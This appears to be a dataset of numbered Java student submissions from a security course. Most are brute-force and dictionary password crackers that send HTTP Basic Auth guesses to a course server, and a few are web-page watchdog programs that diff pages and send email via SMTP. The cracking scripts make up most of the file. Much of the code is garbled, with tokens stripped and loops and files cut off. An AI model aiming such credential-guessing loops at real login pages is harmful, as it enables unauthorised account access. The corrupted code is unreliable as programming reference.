System.out.println(""The number of parameters expected is not more than 5. ""); + System.out.println("" have specified more than 5 parameters.""); + printSyntax(); + System.exit(1); + } + } + + public static void main(String[] args) { + MINCHAR = 1; + MAXCHAR = 3; + + + if (args.length==0) { + args = new String[5]; + args[0] = String.valueOf(1); + args[1] = THEURL; + args[2] = String.valueOf(MINCHAR); + args[3] = String.valueOf(MAXCHAR); + args[4] = USERNAME; + } + + + paramCheck(args); + + + readThroughDictionary(); + + + Application = new Dictionary(); + } + + public static Dictionary Application; + public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + public static String DICTIONARY = System.getProperty(""user.dir"")+""/words""; + public static String TEMPDICT = System.getProperty(""user.dir"")+""/~words""; + public static boolean isenhanced; + public static String passw = """"; + + public static final int REPORT_INTERVAL = 1; + public static int MAXTHREAD = 50; + public static int MAXCONN = 50; + public static int curconn = 0; + public static int success = -1; + + public static String USERNAME = """"; + public static int MINCHAR; + public static int MAXCHAR; + public static int ALLCOMBI; + + public static int start ,end; + public static int MAXCACHE = 100; + + public static java.util.Timer reportTimer; + public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; + public static boolean connused[] = new boolean[MAXCONN]; + public ThCrack[] threads = new ThCrack[MAXTHREAD]; + public static int attempt = 0; + public static int idxLimit; +} +" +252.java,"import java.net.*; +import java.io.*; + +public class Dictionary +{ + + public static void main (String[] args) + { + + String pwd = new String(); + String userpwd = new String(); + String reply = new String(); + int i,j,k; + int startTime, endTime,totalTime; + URLConnection connectionObj; + startTime = System.currentTimeMillis(); + + + try { + + URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + BufferedReader file = new BufferedReader(new FileReader(""words"")); + + + while ((pwd=file.readLine()) != null) + { + + userpwd = bf.encode("""",pwd); + + connectionObj = urlObj.openConnection(); + + connectionObj.setRequestProperty(""Authorization"","" "" + userpwd); + connectionObj.connect(); + reply = connectionObj.getHeaderField(0); + System.out.println(pwd); + if (reply.compareTo(""HTTP/1.1 200 OK"")== 0) + { + + endTime = System.currentTimeMillis(); + totalTime= (endTime - startTime)/1000; + System.out.println(""Total Time = "" + (totalTime) + ""seconds""); + System.exit(0); + } + + + + + + + } + + } + + catch (MalformedURLException err) + { + System.out.println(err); + } + catch (IOException err) + { + System.out.println(err); + } + + } + + + + +}" +131.java," +import java.io.*; +import java.net.*; + +public class BruteForce +{ + private String myUsername = """"; + private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; + private int NUM_CHARS = 52; + + + public static void main(String args[]) + { + BruteForce bf = new BruteForce(); + } + + + public BruteForce() + { + generatePassword(); + } + + + + + public void generatePassword() + { + int index1 = 0, index2, index3; + + char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', + 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', + 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', + 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', + 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; + + + while(index1 < NUM_CHARS) + { + index2 = 0; + + while(index2 < NUM_CHARS) + { + index3 = 0; + + while(index3 < NUM_CHARS) + { + crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); + index3++; + } + + index2++; + } + + index1++; + } + } + + + + + public void crackPassword(String passwordToCrack) + { + String data, dataToEncode, encodedData; + + try + { + URL url = new URL (urlToCrack); + + + + dataToEncode = myUsername + "":"" + passwordToCrack; + + + + encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); + + URLConnection urlCon = url.openConnection(); + urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); + + InputStream is = (InputStream)urlCon.getInputStream(); + InputStreamReader isr = new InputStreamReader(is); + BufferedReader bf = new BufferedReader(isr); + + + + + { + data = bf.readLine(); + System.out.println(data); + displayPassword(passwordToCrack); + } while (data != null); + } + catch (IOException e) + { } + } + + public void displayPassword(String foundPassword) + { + System.out.println(""\nThe cracked password is : "" + foundPassword); + System.exit(0); + } +} +" +084.java," + +import java.Thread; +import java.io.*; +import java.net.*; + +public class BruteForce extends Thread { + final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; + final static int SUCCESS=1, + FAILED=0, + UNKNOWN=-1; + private static String host, + path, + user; + private Socket target; + private InputStream input; + private OutputStream output; + private byte[] data; + private int threads, + threadno, + response; + public static boolean solved = false; + BruteForce parent; + + + public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) + { + super(); + this.parent = parent; + this.host = host; + this.path = path; + this.user = user; + this.threads = threads; + this.threadno = threadno; + } + + public void run() + { + response = FAILED; + int x = 0; + starttime = System.currentTimeMillis(); + + for(int i=0; i ""); + System.out.println("" arguments specified, using standard values.""); + host = ""sec-crack.cs.rmit.edu.""; + path = ""/SEC/2/index.php""; + user = """"; + } + System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); + System.out.println(""Using "" + attackslaves.length + "" happy threads...""); + + parent = new BruteForce(host, path, user, 0, 0, null); + + for(int i=0; i3) password = password.substring(0,3); + if(previous.equals(password)) ; + else { + previous = password; + url = commandLine+password; + curl= run.exec(url); + responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream())); + + if(responseLine.readLine().substring(9,12).equals(""200"")) break; + } + } + } + catch(IOException ioe) { + System.out.println(""\n IO Exception! \n""); + System.out.println(""The current url is:""+ url); + System.out.println(""The current trying password is:""+password); + finish=false; + } + + endTime = new Date().getTime(); + totalTime = (endTime-startTime)/1000; + System.out.println("" The response time is:""+ totalTime + "" seconds\n""); + if(finish) { + System.out.println("" The password for is:""+ password); + try { + savePassword(password, totalTime); + } + catch (IOException ioec) { + System.out.println("" not save the password file Dictionary_pwd.txt ""); + } + } + } + + + public void savePassword(String passwdString, int time) throws IOException { + DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(""Dictionary_pwd.txt"")); + outputStream.writeChars(""The password is:""); + outputStream.writeChars(passwdString+""\n""); + outputStream.writeChars(""The response time is: ""); + outputStream.writeChars(sw.toString(time)); + outputStream.writeChars("" seconds\n""); + outputStream.close(); + } + + public void first() { + + System.out.println(""\n\n----------------------------------------------""); + System.out.println("" Use curl command and dictionary ""); + System.out.println("" Brute Force the password for user ""); + System.out.println(""----------------------------------------------""); + } + + public static void main(String[] args) { + new Dictionary(); + } +} +" +030.java," +import java.awt.*; +import java.util.*; +import java.awt.event.*; +import java.io.*; +import java.net.*; + +public class BruteForce +{ + private String userPassword; + private static int counter; + + + + + + public BruteForce(String username) + { + String user; + String password; + counter = 0; + user = username; + + + for (char i='A';i<='z';i++) + { + if (i == 'Z') + i = 'a'; + + for (char j='A';j<='z';j++) + { + if (j == 'Z') + j = 'a'; + + for (char k='A';k<='z';k++) + { + userPassword = user+ "":"" + i + j + k; + + if (k == 'Z') + k = 'a'; + + System.out.print("".""); + + if (doEncoding(userPassword)== true) + { + System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k); + return; + }; + + counter++; + } + } + } + } + + + + + + private boolean doEncoding(String userPassword) + { + String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); + return doAttempt(encoding); + } + + + + + + private boolean doAttempt (String encoding) + { + try + { + URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); + + URLConnection uc = url.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + + uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); + uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + + return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); + } + catch (MalformedURLException e) + { + System.out.println (""Invalid URL""); + } + catch (IOException e) + { + System.out.println (e.toString() ); + } + + return false; + } + + + + + + public static void main(String args[]) + { + Date sdate = new Date(); + + System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n""); + + BruteForce bf = new BruteForce(args[0]); + + Date edate = new Date(); + System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n""); + System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); + System.out.print(""Attempts in this session:"" + counter + ""\n""); } +} + + + + +" +226.java," + + + + + + + +import java.io.*; +import java.net.*; +import javax.swing.Timer; +import java.awt.event.*; +import javax.swing.JOptionPane; + +public class WatchDog +{ + private static Process pro = null; + private static Runtime run = Runtime.getRuntime(); + + public static void main(String[] args) + { + String cmd = null; + try + { + cmd = new String(""wget -O original.txt http://www.cs.rmit.edu./students/""); + + pro = run.exec(cmd); + System.out.println(cmd); + } + catch (IOException e) + { + } + + class Watch implements ActionListener + { + BufferedReader in = null; + String str = null; + Socket socket; + public void actionPerformed (ActionEvent event) + { + + try + { + System.out.println(""in Watch!""); + String cmd = new String(); + int ERROR = 1; + cmd = new String(""wget -O new.txt http://www.cs.rmit.edu./students/""); + + + System.out.println(cmd); + cmd = new String(""diff original.txt new.txt""); + pro = run.exec(cmd); + System.out.println(cmd); + in = new BufferedReader(new InputStreamReader(pro.getInputStream())); + + if (((str=in.readLine())!=null)&&(!str.endsWith(""d0""))) + { + System.out.println(str); + try + { + socket = new Socket(""yallara.cs.rmit.edu."",25); + PrintWriter output = new PrintWriter(socket.getOutputStream(),true); + String linetobesent = null; + BufferedReader getin = null; + + try + { + FileReader = new FileReader(""template.txt""); + getin = new BufferedReader(); + while (!(linetobesent=getin.readLine()).equals("""")) + { + System.out.println(linetobesent); + output.println(linetobesent); + } + output.println(""Orignail Line .s C New Line .s "" + str); + while ((linetobesent=in.readLine())!=null) + { + output.println(linetobesent); + System.out.println(linetobesent); + } + while ((linetobesent=getin.readLine())!=null) + { + output.println(linetobesent); + System.out.println(linetobesent); + } + cmd = new String(""cp new.txt original.txt""); + System.out.println(cmd); + pro = run.exec(cmd); + + } + catch (IOException ex) + { + System.out.println(ex); + } + catch (Exception ex) + { + System.out.println(ex); + System.exit(ERROR); + } + finally + { + try + { + if (getin!= null) + getin.read(); + } + catch (IOException e) {} + } + + } + catch (UnknownHostException e) + { + System.out.println(e); + System.exit(ERROR); + } + catch (IOException e) + { + System.out.println(e); + System.exit(ERROR); + } + + + + + + + + } + else + System.out.println(""string is empty""); + } + catch (IOException exc) + { + } + + } + } + + Watch listener = new Watch(); + Timer t = new Timer(null,listener); + t.close(); + + JOptionPane.showMessageDialog(null,""Exit WatchDog program?""); + System.exit(0); + } +} +" +187.java," + + + +import java.net.*; +import java.io.*; +import java.util.Date; + +public class MyMail implements Serializable +{ + + + + public static final int SMTPPort = 25; + + + public static final char successPrefix = '2'; + + + public static final char morePrefix = '3'; + + + public static final char failurePrefix = '4'; + + + + + private static final String CRLF = ""\r\n""; + + + private String mailFrom = """"; + + + private String mailTo = """"; + + + private String messageSubject = """"; + + + private String messageBody = """"; + + + private String mailServer = """"; + + + public MyMail () + { + + super(); + } + + + public MyMail ( String serverName) + { + + super(); + + + mailServer = serverName; + } + + + public String getFrom() + { + return mailFrom; + } + + + public String getTo() + { + return mailTo; + } + + + public String getSubject() + { + return messageSubject; + } + + + public String getMessage() + { + return messageBody; + } + + + public String getMailServer() + { + return mailServer; + } + + + public void setFrom( String from ) + { + + mailFrom = from; + } + + + public void setTo ( String To ) + { + + mailTo = To; + } + + + public void setSubject ( String subject ) + { + + messageSubject = subject; + } + + + public void setMessage ( String msg ) + { + + messageBody = msg; + } + + + public void setMailServer ( String server ) + { + + mailServer = server; + } + + + private boolean responseValid( String response ) + { + + + + if (response.indexOf("" "") == -1) + + return false; + + + String cad = response.substring( 0, response.indexOf("" "")); + + + cad = cad.toUpperCase(); + + + if (( cad.charAt(0) == successPrefix ) || + ( cad.charAt(0) == morePrefix ) ) + + return true; + else + + return false; + } + + + public void sendMail() + { + try { + String response; + + + Socket mailSock = new Socket (mailServer, SMTPPort); + + + BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); + PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); + + + System.out.println(""1""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + try + { + InetAddress addr = InetAddress.getLocalHost(); + + String localHostname = addr.getHostName(); + + pout.print (""HELO "" + localHostname + CRLF); + } + catch (UnknownHostException uhe) + { + + pout.print (""HELO myhostname"" + CRLF); + } + + + pout.flush(); + + + System.out.println(""2""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""MAIL From:<"" + mailFrom + "">""); + + + pout.flush(); + + + System.out.println(""3""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""RCPT :<"" + mailTo + "">""); + + + pout.flush(); + + + System.out.println(""4""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""DATA""); + + + pout.flush(); + + + System.out.println(""5""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + + pout.println (""From: "" + mailFrom); + pout.println ("": "" + mailTo); + pout.println (""Subject: "" + messageSubject); + + + pout.println (); + + + pout.println (messageBody); + + + pout.println ("".\n\r""); + + + pout.flush(); + + + System.out.println(""6""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""QUIT""); + + + pout.flush(); + + + mailSock.close(); + } + catch (IOException ioe) + { + System.out.println(ioe.getMessage()); + } + } + +}" +074.java," + + + + +import java.io.*; +import java.net.*; + + + +public class BruteForce +{ + public static void main(String args[]) throws IOException, + MalformedURLException + { + final String username = """"; + final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + String temppass; + String password = """"; + URL url = new URL(fullurl); + boolean cracked = false; + + String c[] = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"", + ""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",""d"", + ""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"", + ""t"",""u"",""v"",""w"",""x"",""y"",""z""}; + + startTime = System.currentTimeMillis(); + + + + for(int i = 0; i < 52 && !cracked; i++) { + temppass = c[i]; + Authenticator.setDefault(new MyAuthenticator(username, temppass)); + try{ + + + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + + + cracked = true; + password = temppass; + } catch(Exception e){} + } + + for(int i = 0; i < 52 && !cracked; i++) { + for(int j = 0; j < 52 && !cracked; j++) { + temppass = c[i]+c[j]; + Authenticator.setDefault(new MyAuthenticator(username, temppass)); + try{ + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + cracked = true; + password = temppass; + } catch(Exception e){} + } + } + + for(int i = 0; i < 52 && !cracked; i++) { + for(int j = 0; j < 52 && !cracked; j++) { + for(int k = 0; k < 52; k++) { + temppass = c[i]+c[j]+c[k]; + Authenticator.setDefault(new MyAuthenticator(username,temppass)); + try{ + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + cracked = true; + password = temppass; + } catch(Exception e){} + } + } + } + stopTime = System.currentTimeMillis(); + + if(!cracked) + System.out.println(""Sorry, couldnt find the password""); + else + System.out.println(""Password found: ""+password); + System.out.println(""Time taken: ""+(stopTime-startTime)); + } +} + +" +043.java,"import java.util.*; +import java.io.*; +import javax.swing.text.html.*; + + +public class WatchDog { + + public WatchDog() { + + } + public static void main (String args[]) { + DataInputStream newin; + + try{ + System.out.println(""ishti""); + + System.out.println(""Downloading first copy""); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); + String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; + String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; + while(true){ + Thread.sleep(24*60*60*1000); + System.out.println(""Downloading new copy""); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); + Thread.sleep(2000); + Runtime.getRuntime().exec(cmdDiff); + Thread.sleep(2000); + newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); + if (newin.readLine() != null){ + System.out.println(""Sending Mail""); + Runtime.getRuntime().exec(cmdMail); + Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); + + } + } + + } + catch(Exception e){ + e.printStackTrace(); + } + + } + +}" +003.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.net.Authenticator; + + +public class BruteForce +{ + + private String result =""""; + + public class customAuthenticator extends Authenticator { + public customAuthenticator(String passwd) + { + this.pass = passwd; + } + + protected PasswordAuthentication getPasswordAuthentication() + { + return new PasswordAuthentication("""",pass.toCharArray()); + } + public String pass; + } + + public BruteForce() { + java.util.Date d = java.util.Calendar.getInstance().getTime(); + System.out.println(d.toString()); + char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', + 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', + 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; + + String record = null; + + + + String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + char pass[] = {'x','x','x'}; + int count=1; + String passwd=new String(); + HttpURLConnection connection = null; + URL u = null; + + try + { + u = new URL(url); + + } + catch (MalformedURLException e) + { + } + + for(int a=0;a""); + send(in, out, ""RCPT : ""+recipient); + send(in, out, ""DATA""); + send(out, ""Subject: ""+ subject); + send(out, ""From: WatchDog.java""); + send (out, ""\n""); + + BufferedReader reader; + String line; + reader = new BufferedReader(new InputStreamReader(new FileInputStream())); + line = reader.readLine(); + while (line != null){ + send(out, line); + line = reader.readLine(); + } + send(out, ""\n.\n""); + send(in, out, ""QUIT""); + s.print(); + } + catch (Exception e) { + e.printStackTrace(); + } + } + + public void send(BufferedReader in, BufferedWriter out, String s) { + try { + out.write(s + ""\n""); + out.flush(); + System.out.println(s); + s = in.readLine(); + System.out.println(s); + } + catch (Exception e) { + e.printStackTrace(); + } + } + + public void send(BufferedWriter out, String s) { + try { + out.write(s + ""\n""); + out.flush(); + System.out.println(s); + } + catch (Exception e) { + e.printStackTrace(); + } + } +}" +069.java," + + +import java.misc.BASE64Encoder; +import java.misc.BASE64Decoder; + +import java.io.*; +import java.net.*; +import java.util.*; + + +public class BruteForce { + + static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray(); + + private int indices[] = {0,0,0}; + + private String url = null; + + + public BruteForce(String url) { + this.url = url; + + } + + private int attempts = 0; + private boolean stopGen = false; + + public String getNextPassword(){ + String nextPassword = """"; + for(int i = 0; i ""); + System.exit(1); + } + + BruteForce bruteForce1 = new BruteForce(args[0]); + try{ + Calendar cal1=null, cal2=null; + cal1 = Calendar.getInstance(); + System.out.println(""Cracking started at: "" + cal1.getTime().toString()); + String password = bruteForce1.crackPassword(args[1]); + if(password != null) + System.out.println(""\nPassword is: ""+password); + else + System.out.println(""\nPassword could not retrieved!""); + cal2 = Calendar.getInstance(); + System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); + Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); + System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); + System.out.println(""Total attempts : "" + bruteForce1.getAttempts()); + + }catch(MalformedURLException mue){ + mue.printStackTrace(); + } + + catch(IOException ioe){ + ioe.printStackTrace(); + } + } +}" +158.java," +import java.net.*; +import java.io.*; + + +public class BruteForce { + + public static void main(String args[]) + { + int i,j,k; + String pass = new String(); + String UserPass = new String(); + String status = new String(); + String status1 = new String(); + BasicAuth auth = new BasicAuth(); + URLConnection connect; + int start,end,diff; + + try { + URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); + + start =System.currentTimeMillis(); + + + DataInputStream dis ; + + for (i=0;i<=58;i++) + { + + for (j=0;j<=58;j++) + { + + for (k=1;k<=58;k++) + { + + + + + if (i !=0) + { + + + pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64); + + if ((i+64) >=91 && (i+64) <=96) + break; + + if ((j+65) >=91 && (j+65) <=96) + break; + + if ((k+64) >=91 && (k+64) <=96) + continue; + + + UserPass= auth.encode("""",pass); + + connect = url.openConnection(); + connect.setDoInput(true); + connect.setDoOutput(true); + + connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); + connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); + connect.setRequestProperty(""Authorization"","" "" + UserPass); + connect.connect(); + + status =connect.getHeaderField(0); + status1 = status.substring( 9,12); + + if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) + { + System.out.println(""Password is "" + pass); + end=System.currentTimeMillis(); + diff= end - start; + System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" ); + System.exit(0); + } + ((HttpURLConnection)connect).disconnect(); + connect = null; + } + + + + + } + } + } + + System.out.println("" match found""); + connect = null; + + } + + catch (MalformedURLException malerr) + { + System.err.println(""Unable Open URL"" + malerr); + } + + catch (Exception ioerr) + { + System.err.println(""Unable retrive URL"" + ioerr); + } + + + + + } +}" +231.java,"import java.io.*; +import java.*; +import java.net.*; + +public class BruteForce +{ + public static void main(String[] args) throws Exception + { + + String password = checkPassword(); + + System.out.println(""Congratulations Your password is ""+ password ); + + + + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec = (HttpURLConnection)url.openConnection(); + sec.setRequestProperty(""Authorization"", "" "" + encode("":""+password)); + BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream())); + String inputLine; + + while ((inputLine = in.readLine()) != null) + System.out.println(inputLine); + in.close(); + } + + + + private static String checkPassword() throws Exception + { + String Password="" ""; + int attempt=0; + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec; + String[] cad = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"", + ""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"", + ""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"", + ""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; + + for (int i=0; i < cad.length; i++) + { + for (int j=0; j< cad.length;j++) + { + for (int k=0; k 0 && line.length() < 4 ) + { + for( int i = 0; i < line.length(); i++) + { + if( Character.isLetter( line.charAt( i)) == false) + { + flag = false; + } + } + if( flag == true) + { + + v.add( line); + } + } + } + in.print(); + } + catch( IOException e) + { + System.out.println( "" not open the file!""); + System.exit( 0); + } + } + public Vector getVictor() + { + return v; + } + public static void main ( String [] args) + { + DicReader fr = new DicReader( ""/usr/share/lib/dict/words""); + System.out.println( "" far ""+fr.getVictor().size()+"" combinations loaded""); + } +} + + +" +110.java," + + +import java.io.BufferedReader; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.PrintStream; +import java.net.MalformedURLException; +import java.net.URL; + +public class Watchdog { + static final String LOGON_SITE = WatchdogPropertyHelper.getProperty(""logonSite""); + static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty(""previousFileName""); + static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty(""currentFileName""); + static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty(""timeInMilliseconds""); + + + static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer""); + static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient""); + static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender""); + static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader""); + + private static final String COMMAND = WatchdogPropertyHelper.getProperty(""unixCommand""); + + + public static void main(String[] args) { + System.out.println("" Monitoring the Web : ""+ LOGON_SITE); + System.out.println(""The output of this is written the file: ""+ PREVIOUS_FILE_NAME); + System.out.println(""The webpage monitored every: ""+ TIME_IN_MILLS+ "" milliseconds""); + + Watchdog watchdog = new Watchdog(); + watchdog.accessWebPage(LOGON_SITE); + } + + public void accessWebPage( String urlString ) { + BufferedReader reader = null; + BufferedReader readerNew = null; + String data = null; + + + FileOutputStream out = null; + FileOutputStream outNew = null; + PrintStream p = null; + PrintStream pNew = null; + + URL url = null; + + + + while (true) { + try { + + out = new FileOutputStream(PREVIOUS_FILE_NAME); + + + p = new PrintStream( out ); + + url = new URL(urlString); + + reader = new BufferedReader (new InputStreamReader(url.openStream())); + + + + while (( data = reader.readLine()) != null ) { + p.println(data); + + } + System.out.println(""Completed writing the output the file: ""+ PREVIOUS_FILE_NAME); + + } + catch (MalformedURLException mfue) { + mfue.printStackTrace(); + } + catch (IOException ioe) { + ioe.printStackTrace(); + } + + finally { + p.close(); + } + + + + try { + + + + + System.out.println(""Sleeping for : ""+ TIME_IN_MILLS+ "" milliseconds""); + Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue()); + + outNew = new FileOutputStream(CURRENT_FILE_NAME); + + + pNew = new PrintStream(outNew); + + + readerNew = new BufferedReader (new InputStreamReader(url.openStream())); + + while (( data = readerNew.readLine()) != null ) { + pNew.println(data); + + } + + System.out.println(""Completed writing the output the file: ""+ PREVIOUS_FILE_NAME); + } + catch (MalformedURLException mfue) { + mfue.printStackTrace(); + } + catch (IOException ioe) { + ioe.printStackTrace(); + } + + + catch (InterruptedException e) { + e.printStackTrace(); + } + + finally { + pNew.close(); + } + + + InputStream inputStream = null; + int count = 0; + + System.out.println("" comparing the the current content with the previous content ""); + + System.out.println(""Executing the command: "" + COMMAND); + + try { + + + + Process process = Runtime.getRuntime().exec(COMMAND); + + process.waitFor(); + + inputStream = process.getInputStream(); + + } catch (Exception e) { + + System.out.println(""Error Executing the command: "" + COMMAND+ ""\n "" + e.toString()); + } + + + + + try { + + + + count = inputStream.available(); + + if (count > 0) { + byte[] buffer = new byte[count]; + inputStream.read(buffer); + + String stdout = new String(buffer); + + System.out.println(""The following changes has occured in the web ""); + System.out.println(stdout); + + + Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout); + } + + else { + System.out.println("" has been change the site""); + } + + } catch (Exception g) { + + System.out.println(""Exception: "" + g.toString()); + } + } + + } + + + public Watchdog() { + + } + + +} + + +" +214.java," + +import java.io.*; +import java.net.*; +import java.util.*; +import java.*; + + +public class WatchDog +{ + + public static void main (String args[]) + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + int flag=1; + int loop=0; + String ServerType = new String(); + String LastModified = null; + String urlString = new String(""http://www.cs.rmit.edu./students/""); + + + storeNewFile snf = new storeNewFile(""History.txt""); + storeNewFile snf1 = new storeNewFile(""Comparison.txt""); + String result = null; + getImage myGI = new getImage(); + Process myProcess; + String line = null; + stime = System.currentTimeMillis(); + while(loop<5) + { + try { + URL url = new URL (urlString); + URLConnection uc = url.openConnection(); + InputStream content = (InputStream)uc.getContent(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line2; + while ((line2 = in.readLine()) != null) { + + pw.println (line2); + } + snf1.getStringW(); + if(LastModified !=null) + { + + + differenceFile df = new differenceFile(); + result = df.compareFile(); + } + if(LastModified==null) + { + System.out.println(""first check""); + LastModified=uc.getHeaderField(1); + ServerType=uc.getHeaderField(2); + snf.getStringW(); + myGI.tokenFile(""History.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + } + else if(result==null) + { + myGI.tokenFile(""Comparison.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt"")); + line=inputStream.readLine(); + + if(line == null) + { + System.out.println("" changes far..""); + } + else + { + while(line!=null) + { + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line); + line=inputStream.readLine(); + } + } + inputStream.close(); + } + else + { + + snf.translogFile(result); + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result); + System.out.println("" email is sent.. sent..sent..""); + snf.getStringW(); + } + snf.closeStream(); + snf1.closeStream(); + + try{ + synchronized(url){ + url.wait(15000); + } + } + catch(InterruptedException e) { + System.out.println(""Error in wait() method""); + } + catch(Exception e){ + e.printStackTrace(); + } + loop++; + endtime=System.currentTimeMillis(); +System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); + + }catch (MalformedURLException e) { + pw.println (""Invalid URL""); + }catch (IOException e) { + pw.println (""Error URL""); + } + } + + System.out.println(""ETag is ""+ ServerType); + System.out.println(""LastModified is ""+ LastModified); + } +}" +142.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class Dictionary +{ + + public Dictionary() + { + } + + public static void main(String[] args) + { + try + { + + if (args.length != 3 ) + { + System.out.println(""Usage: java BruteForce ""); + System.exit(1); + } + + timeStart = System.currentTimeMillis(); + + String strPass = applyDictionary (args[0], args[1], args [2]); + + timeEnd = System.currentTimeMillis(); + + 